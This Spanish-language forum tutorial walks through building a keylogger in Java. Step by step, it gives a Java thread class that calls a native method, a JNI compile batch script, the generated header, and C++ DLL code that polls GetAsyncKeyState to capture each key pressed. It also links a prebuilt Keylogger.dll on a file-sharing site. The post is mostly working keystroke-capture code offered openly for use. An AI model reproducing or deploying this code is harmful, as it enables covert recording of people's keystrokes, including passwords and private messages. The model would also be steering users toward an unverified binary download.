Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++ Necesitas los archivos: [b]jni_md.h[/b] http://cur.lv/gl3uy [b]jni.h[/b]http://cur.lv/gl3v8 Los cuales incluiran en el directorio «C:\Archivos de programa\Dev-Cpp\include» [list] [li][b]Paso 1: Creación del Archivo .java[/b][/li][/list] Importante: No tiene que estar en ningun Package
public class Keylogger extends Thread {
private boolean running=true;
private int value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}
}
[list][li][b]Paso 2: Creación del .bat para compilacion JNI (Opcional)[/b][/li][/list] [i]Nombre[/i]: CompilerJNI.bat
@echo off title Java set/p j= .java : echo. call javac %j%.java call javah -jni %j% pause echo. exit
[list][li][b]Paso 3: Generando el . Class y la Cabecera .h (JNI) [/b][/li][/list] Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension. Podrias compilar direcamente desde la consola [i] javac Keylogger.java javah -jni Keylogger[/i] Tienes que tener algun JDK [list][li][b]Paso 4: Generando la DLL [/b][/li][/list] Abrimos el DEV++ [i]File—>New—->Project—>DLL[/i] [img]http://r.i.elhacker.net/cache?url=http://s4.subirimagenes.com/privadas/940888im.png[/img] Luego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) , remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/** Class: Keylogger
* Method: get
* Signature: ()I
*/
JNIEXPORT jint JNICALL Java_Keylogger_get (JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
[list] Si da problemas Este archivo tiene que estar en [i]C:\Archivos de programa\Dev-Cpp\include[/i] ahora remplazar el contenido de dllMain.cpp por este: [/list]
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
while(true){
for(int c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767)
return c;
}
Sleep(30);
}
}
Y guardar como Keylogger.cpp Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}
Aqui les dejo la DLL Keylogger.dll http://www.mediafire.com/?e03u9r0emaerf9g